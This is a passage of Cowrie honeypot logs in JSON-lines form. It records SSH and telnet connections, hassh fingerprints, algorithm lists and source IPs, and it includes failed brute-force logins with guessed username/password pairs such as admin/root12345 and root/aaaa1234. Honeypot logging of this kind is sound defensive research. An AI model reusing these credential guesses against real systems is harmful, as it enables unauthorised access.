","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:49.857354Z","src_ip":"159.203.92.129","session":"48bbbc4517c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root12345","message":"login attempt [admin/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:49.869402Z","src_ip":"159.203.92.129","session":"48bbbc4517c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:50.876764Z","src_ip":"159.203.92.129","session":"48bbbc4517c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.154.234.9","src_port":10343,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5073ae4c28b","protocol":"ssh","message":"New connection: 212.154.234.9:10343 (10.17.0.5:22) [session: c5073ae4c28b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:57.244315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:57.249573Z","src_ip":"212.154.234.9","session":"c5073ae4c28b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:57.434457Z","src_ip":"212.154.234.9","session":"c5073ae4c28b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qazzxc","message":"login attempt [ubuntu/qazzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:58.204184Z","src_ip":"212.154.234.9","session":"c5073ae4c28b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:52:59.391382Z","src_ip":"212.154.234.9","session":"c5073ae4c28b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":42332,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbc815a81506","protocol":"ssh","message":"New connection: 185.239.84.249:42332 (159.203.135.109:22) [session: cbc815a81506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:53:18.442666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:53:18.447534Z","src_ip":"185.239.84.249","session":"cbc815a81506","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:53:18.698188Z","src_ip":"185.239.84.249","session":"cbc815a81506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaa1234","message":"login attempt [root/aaaa1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:53:19.621593Z","src_ip":"185.239.84.249","session":"cbc815a81506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:53:20.860997Z","src_ip":"185.239.84.249","session":"cbc815a81506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":53888,"dst_ip":"159.203.135.109","dst_port":23,"session":"299fffbc39ec","protocol":"telnet","message":"New connection: 46.4.8.162:53888 (159.203.135.109:23) [session: 299fffbc39ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:53:30.136568Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.145.101","src_port":53020,"dst_ip":"159.203.135.109","dst_port":23,"session":"b306b23f4db8","protocol":"telnet","message":"New connection: 159.65.145.101:53020 (159.203.135.109:23) [session: b306b23f4db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:53:31.665319Z"}
{"eventid":"cowrie.session.closed","duration":0.46922826766967773,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:53:32.134244Z","src_ip":"159.65.145.101","session":"b306b23f4db8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42172,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e8849224b2c","protocol":"ssh","message":"New connection: 159.203.92.129:42172 (159.203.135.109:22) [session: 4e8849224b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:53:34.991837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:53:34.997010Z","src_ip":"159.203.92.129","session":"4e8849224b2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:53:35.004460Z","src_ip":"159.203.92.129","session":"4e8849224b2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root123456","message":"login attempt [admin/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:53:35.017765Z","src_ip":"159.203.92.129","session":"4e8849224b2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:53:36.025017Z","src_ip":"159.203.92.129","session":"4e8849224b2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.732221364974976,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:54:05.868653Z","src_ip":"46.4.8.162","session":"299fffbc39ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":55182,"dst_ip":"159.203.135.109","dst_port":22,"session":"7013cd1ce084","protocol":"ssh","message":"New connection: 185.239.84.249:55182 (159.203.135.109:22) [session: 7013cd1ce084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:54:18.427514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:54:18.431722Z","src_ip":"185.239.84.249","session":"7013cd1ce084","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:54:18.645451Z","src_ip":"185.239.84.249","session":"7013cd1ce084","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123345","message":"login attempt [root/123345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:54:19.293279Z","src_ip":"185.239.84.249","session":"7013cd1ce084","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39356,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d95fe468a2e","protocol":"ssh","message":"New connection: 159.203.92.129:39356 (159.203.135.109:22) [session: 7d95fe468a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:54:19.779681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:54:19.785137Z","src_ip":"159.203.92.129","session":"7d95fe468a2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:54:19.789524Z","src_ip":"159.203.92.129","session":"7d95fe468a2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root1234567","message":"login attempt [admin/root1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:54:19.804046Z","src_ip":"159.203.92.129","session":"7d95fe468a2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:54:20.513970Z","src_ip":"185.239.84.249","session":"7013cd1ce084","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:54:20.810865Z","src_ip":"159.203.92.129","session":"7d95fe468a2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.154.234.9","src_port":30053,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5093238e2e1","protocol":"ssh","message":"New connection: 212.154.234.9:30053 (10.17.0.5:22) [session: a5093238e2e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:54:46.842039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:54:46.847248Z","src_ip":"212.154.234.9","session":"a5093238e2e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:54:47.037059Z","src_ip":"212.154.234.9","session":"a5093238e2e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@$$w0rd123","message":"login attempt [admin/P@$$w0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:54:47.821593Z","src_ip":"212.154.234.9","session":"a5093238e2e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:54:49.011889Z","src_ip":"212.154.234.9","session":"a5093238e2e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52726,"dst_ip":"159.203.135.109","dst_port":22,"session":"9687f81b3281","protocol":"ssh","message":"New connection: 159.203.92.129:52726 (159.203.135.109:22) [session: 9687f81b3281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:05.804303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:06.097474Z","src_ip":"159.203.92.129","session":"9687f81b3281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:06.101402Z","src_ip":"159.203.92.129","session":"9687f81b3281","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root12345678","message":"login attempt [admin/root12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:07.926422Z","src_ip":"159.203.92.129","session":"9687f81b3281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:09.062733Z","src_ip":"159.203.92.129","session":"9687f81b3281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":37386,"dst_ip":"159.203.135.109","dst_port":22,"session":"64f2752cdd4d","protocol":"ssh","message":"New connection: 185.239.84.249:37386 (159.203.135.109:22) [session: 64f2752cdd4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:16.723423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:55:16.729057Z","src_ip":"185.239.84.249","session":"64f2752cdd4d","protocol":"ssh"}
